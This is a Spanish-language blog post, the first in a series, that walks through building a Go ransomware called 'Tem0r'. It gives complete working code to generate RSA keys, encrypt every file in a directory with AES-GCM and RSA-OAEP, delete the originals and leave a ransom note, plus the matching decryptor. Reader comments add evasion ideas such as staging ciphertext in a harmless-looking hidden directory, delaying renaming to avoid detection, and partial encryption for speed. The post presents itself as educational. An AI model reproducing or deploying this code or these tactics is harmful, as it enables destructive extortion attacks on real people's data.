Por supuesto, se trata de malware funcional por lo que se recomienda probarlo en una máquina virtual de prueba (en cualquier Ubuntu u otra distro debería funcionar) y nunca utilizarlo contra sistemas de terceros sin previo consentimiento. Que quede claro desde el principio que desde Hackplayers no nos responsabilizamos de cualquier uso debido o indebido del mismo.
Por otro lado, comentar también que este artefacto se trata de código con propósito totalmente educacional, es decir, ni está optimizado ni pretender estarlo, simplemente está creado para poder compartir y aprender todos juntos puesto, creerme, debemos ser profundamente antagónicos a la seguridad por oscuridad. Y dicho ésto, ¡empezamos la serie!
Tem0r es un típico ransomware de doble extorsión: cifrará los datos de la víctima y los exfiltrará para pedir luego el rescate. A grandes rasgos en su versión básica lo que hará será crear un par de claves, enviará la clave cifrada al atacante, cifrará con la clave pública los archivos de la víctima y los enviará también durante el proceso. Ese es el core fundamental, luego publicaremos el código completo en Github e iremos añadiendo entre todos más variantes y funcionalidades en posteriores versiones.
Básicamente en esta primera entrada vamos a centrarnos en el proceso de cifrado. Para empezar, crearemos un pequeño script para generar en el directorio /tmp/dummy un número considerable de ficheros (200) emulando el directorio que el threat actor de turno cifrará y exfiltrará en su intrusión:
package main
import (
cryptorand "crypto/rand"
"fmt"
"io"
"math/rand"
"os"
"path/filepath"
"strings"
"time"
)
func main() {
// Seed the math/rand package for randomness
rand.Seed(time.Now().UnixNano())
// Create the directory if it doesn't exist
err := os.MkdirAll("/tmp/dummy", 0755)
if err != nil {
fmt.Println("Error creating directory:", err)
return
}
// Define file extensions for text and binary files
textExtensions := []string{".txt", ".log", ".csv"}
binaryExtensions := []string{".bin", ".dat", ".jpg"}
// Generate 200 files
for i := 0; i < 200; i++ {
// Decide on file type (50% chance of text or binary)
isText := rand.Intn(2) == 0
// Randomly choose an extension based on file type
var extension string
if isText {
extension = textExtensions[rand.Intn(len(textExtensions))]
} else {
extension = binaryExtensions[rand.Intn(len(binaryExtensions))]
}
// Create the filename
filename := filepath.Join("/tmp/dummy", fmt.Sprintf("dummy_%d%s", i, extension))
// Open the file
file, err := os.Create(filename)
if err != nil {
fmt.Println("Error creating file:", err)
continue
}
// Write content based on file type
if isText {
// Generate random text content
content := generateRandomText()
_, err = file.WriteString(content)
} else {
// Generate random binary content (size between 100KB and 1MB)
size := rand.Intn(900000) + 100000
_, err = io.CopyN(file, cryptorand.Reader, int64(size))
}
if err != nil {
fmt.Println("Error writing to file:", err)
file.Close()
continue
}
file.Close() // Close the file after writing
}
fmt.Println("200 dummy files created in /tmp/dummy")
}
// generateRandomText creates a random sentence for text files
func generateRandomText() string {
words := []string{"example", "random", "data", "test", "file", "content", "dummy", "information"}
sentenceLength := rand.Intn(20) + 5 // Random sentence length between 5 and 25 words
var sentence []string
for i := 0; i < sentenceLength; i++ {
sentence = append(sentence, words[rand.Intn(len(words))])
}
return strings.Join(sentence, " ") + "\n"
}
Volviendo a nuestro ransomware, lo que haremos primero es crear el par de claves RSA en el equipo de la victima. Veamos el fragmento de código, recordad en Go:
package main import ( "crypto/rand" "crypto/rsa" "crypto/x509" "encoding/pem" "fmt" "io/ioutil" ) func generateRSAKey() error { // Generates a 2048-bit RSA key pair privateKey, err := rsa.GenerateKey(rand.Reader, 2048) if err != nil { return err } // Encodes the private key in PEM format privDER := x509.MarshalPKCS1PrivateKey(privateKey) privBlock := pem.Block{ Type: "RSA PRIVATE KEY", Bytes: privDER, } privPEM := pem.EncodeToMemory(&privBlock) // Write the private key to a file err = ioutil.WriteFile("private.key", privPEM, 0600) if err != nil { return err } // Encodes the public key in PEM format pubDER, err := x509.MarshalPKIXPublicKey(&privateKey.PublicKey) if err != nil { return err } pubBlock := pem.Block{ Type: "RSA PUBLIC KEY", Bytes: pubDER, } pubPEM := pem.EncodeToMemory(&pubBlock) // Write the public key to a file err = ioutil.WriteFile("public.key", pubPEM, 0600) if err != nil { return err } return nil } func main() { err := generateRSAKey() if err != nil { fmt.Println("Error generating keys:", err) } else { fmt.Println("RSA keys generated successfully.")
} }
Evidentemente una vez generada la clave privada para descifrar lo que se hará será enviarla inmediatamente al atacante para luego proceder al cifrado con la clave pública. pero eso lo veremos en el siguiente post. En éste, como decíamos, vamos a centrarnos en el proceso de cifrado y descifrado. El siguiente script está diseñado para cifrar todos los archivos dentro del directorio específico utilizando una combinación de dos algoritmos de cifrado: AES para el cifrado de datos y RSA para la protección de la clave AES:
package main
import (
"crypto/aes"
"crypto/cipher"
"crypto/rand"
"crypto/rsa"
"crypto/sha256"
"crypto/x509"
"encoding/pem"
"fmt"
"io/ioutil"
"os"
"path/filepath"
)
func main() {
publicKeyFile := "public.key"
sourceDir := "/tmp/dummy"
// Load the public key
publicKeyBytes, err := ioutil.ReadFile(publicKeyFile)
if err != nil {
fmt.Println("Error reading public key file:", err)
return
}
block, _ := pem.Decode(publicKeyBytes)
if block == nil {
fmt.Println("Failed to decode PEM block containing the key")
return
}
parsedKey, err := x509.ParsePKIXPublicKey(block.Bytes)
if err != nil {
fmt.Println("Error parsing public key:", err)
return
}
publicKey, ok := parsedKey.(*rsa.PublicKey)
if !ok {
fmt.Println("Error: loaded key is not an RSA public key")
return
}
// Traverse all files in the source directory
err = filepath.Walk(sourceDir, func(path string, info os.FileInfo, err error) error {
if err != nil {
return err
}
if !info.IsDir() {
fmt.Println("Encrypting file:", path)
// Read the file
data, err := ioutil.ReadFile(path)
if err != nil {
return fmt.Errorf("error reading file %s: %v", path, err)
}
// Generate a random AES key
aesKey := make([]byte, 32) // AES-256 key size
if _, err := rand.Read(aesKey); err != nil {
return fmt.Errorf("error generating AES key: %v", err)
}
// Encrypt the file content using AES
encryptedData, err := encryptAES(data, aesKey)
if err != nil {
return fmt.Errorf("error encrypting file data: %v", err)
}
// Encrypt the AES key using RSA and the public key
encryptedKey, err := rsa.EncryptOAEP(sha256.New(), rand.Reader, publicKey, aesKey, nil)
if err != nil {
return fmt.Errorf("error encrypting AES key: %v", err)
}
// Combine encrypted key and encrypted data
finalData := append(encryptedKey, encryptedData...)
// Save the encrypted file with .crypted extension, replacing the original
newPath := path + ".crypted"
err = ioutil.WriteFile(newPath, finalData, 0644)
if err != nil {
return fmt.Errorf("error writing encrypted file %s: %v", newPath, err)
}
fmt.Println("File encrypted and saved as:", newPath)
// Delete the original file
if err := os.Remove(path); err != nil {
return fmt.Errorf("error deleting original file %s: %v", path, err)
}
fmt.Println("Original file deleted:", path)
}
return nil
})
if err != nil {
fmt.Println("Error during directory encryption:", err)
return
}
fmt.Println("All files encrypted and original files removed successfully.")
// Create the ATTENTION.txt file in the source directory
attentionFile := filepath.Join(sourceDir, "ATTENTION.txt")
content := "this is only a PoC. Please, never pay for ransomware."
err = ioutil.WriteFile(attentionFile, []byte(content), 0644)
if err != nil {
fmt.Println("Error creating ATTENTION.txt:", err)
return
}
fmt.Println("ATTENTION.txt created in", sourceDir)
}
// encryptAES encrypts data using AES-GCM with the provided key.
func encryptAES(data, key []byte) ([]byte, error) {
block, err := aes.NewCipher(key)
if err != nil {
return nil, err
}
aesGCM, err := cipher.NewGCM(block)
if err != nil {
return nil, err
}
nonce := make([]byte, aesGCM.NonceSize())
if _, err := rand.Read(nonce); err != nil {
return nil, err
}
ciphertext := aesGCM.Seal(nonce, nonce, data, nil)
return ciphertext, nil
}
- Lee la clave pública del archivo "public.key".
- Verifica que la clave sea válida y la almacena en una variable.
- Recorre todos los archivos y para cada archivo:
- Genera una clave aleatoria AES de 256 bits.
- Cifra el contenido del archivo utilizando AES-GCM (Galois/Counter Mode) y la clave aleatoria recién generada.
- Cifra la clave AES utilizando la clave pública RSA para proteger la clave de cifrado (padding OAEP).
- Combina la clave AES cifrada y los datos del archivo cifrado en un único archivo.
- Guarda el archivo cifrado con una extensión ".crypted" en el mismo lugar donde estaba el archivo original.
- Elimina el archivo original.
- Crea un archivo llamado "ATTENTION.txt" dentro del directorio fuente cifrado.
- El archivo contiene el texto: "this is only a PoC. Please, never pay for ransomware." (Esto es solo una prueba de concepto. Por favor, nunca pague por un ransomware).
El siguiente paso es probar si funciona correctamente el cifrado:
Como veis todos los ficheros han sido modificados y renombrados con extensión .crypted y tenemos la nota de ransom avisando de que hemos sido comprometidos:
$ cat /tmp/dummy/ATTENTION.txt
this is only a PoC. Please, never pay for ransomware.
Desde la perspectiva del atacante sería buena praxis borrar también el "crypter" recientemente usado y la clave pública una vez finalizado el proceso. Moviéndonos finalmente a la parte de descifrado, en el que la víctima recibe la clave privada correspondiente para llevarlo a cabo, los pasos serían previsiblemente los contrarios hasta recuperar cada uno de los ficheros originales. El script se muestra a continuación:
package main
import (
"crypto/aes"
"crypto/cipher"
"crypto/rand"
"crypto/rsa"
"crypto/sha256"
"crypto/x509"
"encoding/pem"
"fmt"
"io/ioutil"
"os"
"path/filepath"
)
func main() {
privateKeyFile := "private.key"
encryptedDir := "/tmp/dummy"
// Load the private key for decryption
privateKeyBytes, err := ioutil.ReadFile(privateKeyFile)
if err != nil {
fmt.Println("Error reading private key file:", err)
return
}
block, _ := pem.Decode(privateKeyBytes)
if block == nil {
fmt.Println("Failed to decode PEM block containing the key")
return
}
privateKey, err := x509.ParsePKCS1PrivateKey(block.Bytes)
if err != nil {
fmt.Println("Error parsing private key:", err)
return
}
// Traverse all files in the encrypted directory
err = filepath.Walk(encryptedDir, func(path string, info os.FileInfo, err error) error {
if err != nil {
return err
}
if !info.IsDir() && filepath.Ext(path) == ".crypted" {
fmt.Println("Decrypting file:", path)
// Read the encrypted file
encryptedData, err := ioutil.ReadFile(path)
if err != nil {
return fmt.Errorf("error reading encrypted file %s: %v", path, err)
}
// Separate the encrypted AES key and encrypted file data
encryptedKey := encryptedData[:privateKey.Size()]
fileData := encryptedData[privateKey.Size():]
// Decrypt the AES key using the private RSA key
aesKey, err := rsa.DecryptOAEP(sha256.New(), rand.Reader, privateKey, encryptedKey, nil)
if err != nil {
return fmt.Errorf("error decrypting AES key: %v", err)
}
// Decrypt the file data using AES
decryptedData, err := decryptAES(fileData, aesKey)
if err != nil {
return fmt.Errorf("error decrypting file data: %v", err)
}
// Save the decrypted file by removing the ".crypted" extension
newPath := path[:len(path)-len(".crypted")]
err = ioutil.WriteFile(newPath, decryptedData, 0644)
if err != nil {
return fmt.Errorf("error writing decrypted file %s: %v", newPath, err)
}
fmt.Println("File decrypted and saved as:", newPath)
// Optionally delete the original encrypted file
err = os.Remove(path)
if err != nil {
return fmt.Errorf("error removing encrypted file %s: %v", path, err)
}
}
return nil
})
if err != nil {
fmt.Println("Error during decryption process:", err)
return
}
fmt.Println("All files decrypted successfully.")
}
// decryptAES decrypts data using AES-GCM with the provided key.
func decryptAES(data, key []byte) ([]byte, error) {
block, err := aes.NewCipher(key)
if err != nil {
return nil, err
}
aesGCM, err := cipher.NewGCM(block)
if err != nil {
return nil, err
}
nonceSize := aesGCM.NonceSize()
nonce, ciphertext := data[:nonceSize], data[nonceSize:]
plaintext, err := aesGCM.Open(nil, nonce, ciphertext, nil)
if err != nil {
return nil, err
}
return plaintext, nil
}
- Se carga y decodifica la clave privada RSA (private.key), que es necesaria para descifrar la clave AES que protege el contenido de cada archivo.
- Recorre cada archivo, y si encuentra un archivo con la extensión .crypted, intenta descifrarlo.
- Para cada archivo .crypted encontrado lee su contenido completo y luego se separa en dos partes:
- La clave AES cifrada (almacenada al inicio del archivo de longitud fija de 256 bits)
- Los datos del archivo encriptado (el resto del archivo).
- La clave AES, que fue cifrada con la clave pública en el proceso de cifrado, es descifrada aquí usando la clave privada.
- Finalmente se descifran los datos cifrados del archivo utilizando la clave AES obtenida en el paso anterior.
- Una vez descifrado, se guarda el archivo original, eliminando la extensión .crypted.
Si lo ejecutáis, veréis que todos los archivos .crypted han sido restaurados a sus correspondientes homólogos originales.
Como habéis podido observar, tenemos el "ciclo" completo de cifrado y descifrado. Por favor, si veis una aproximación más eficiente, realista u otra alternativa para hacerlo no dudéis en comentar y proponer.
En la siguiente entrada (tampoco quiero aburriros demasiado hoy) veremos una estrategia para enviar la clave privada y los archivos cifrados (exfiltración) a la infraestructura del atacante.
Y recordad, ¡mucha responsabilidad con estas cosas!
Le veo un punto flaco, si trabajas directamente en el directorio donde se encuentran los archivos originales y vas borrando según cifras es probable que el objetivo se entere de que esta siendo atacado antes de que el ramsomware termine de hacer su trabajo. Yo creo que sería mejor que:
ResponderEliminar1. Se hace un listado de ficheros a cifrar
2. Se cifran en un directorio oculto del home del usuario, preferiblemente algo que no suene malo como por ejemplo `.local/share/applications/backup`
3. Una vez la lista este cifrada se mueven todos los archivos de `.local/share/applications/backup` a sus ubicaciones.
4. Se borran los originales.
Haciéndolo de esta forma el proceso final (mover y borrar) es mas rápido y hay menos posibilidades de que el usuario se entere en el medio de la jugada. Eso si, habría que controlar que estamos siempre en el mismo disco físico porque si no el mover llevaría tiempo.
Muy interesante approach, sin embargo no me convence del todo mover todos los ficheros cifrados y borrar los originales al final, más que nada porque si el proceso se interrumpe intencionadamente por el usuario o por el EDR el ransomware habrá fracasado completamente. Sin embargo si se van exfiltrando y eliminando individualmente cada fichero a lo malo tendrá asegurado un éxito parcial.
EliminarLo que si sería bastante opsec sería no renombrar los ficheros con la extensión .crypted hasta el final, mientras que se van sustituyendo "silenciosamente", yo creo que sería algo intermedio y lo más "óptimo".
Todo esto sin tener en cuenta la velocidad de cifrado: habría que hacer pruebas de benchmark porque quizás el cifrado sea tan rápido que simplemente un humano no tendría tiempo de reaccionar.
Muchas gracias por el aporte, lo tengo muy en cuenta! :)
y si solo se cifraran un % inicial de los archivos.. de forma de asegurarse que la cabecera - y algo más - de estos quede corrupta?
ResponderEliminarEl pro, es que acelera el proceso.
La contra es que compromete la efectividad del ataque, dado que parcialmente la información es recuperable (me viene a la mente un pdf sin stream, o un archivo plano). Además, se cambia la estrategia... no se cifra "el archivo", sino un conjunto de "bytes" de este.
creo que es un buen método incluso se podría realizar en varias capas.. cifrar un %, exfiltrar, cifrar otro % y cifrar fichero completo. Gracias por el aporte!
Eliminar¿Cómo podría publicar contenidos pagado en vuestro blog?
ResponderEliminarabsolutamente no se puede. No hay contenidos pagados, ni publicidad.
Eliminar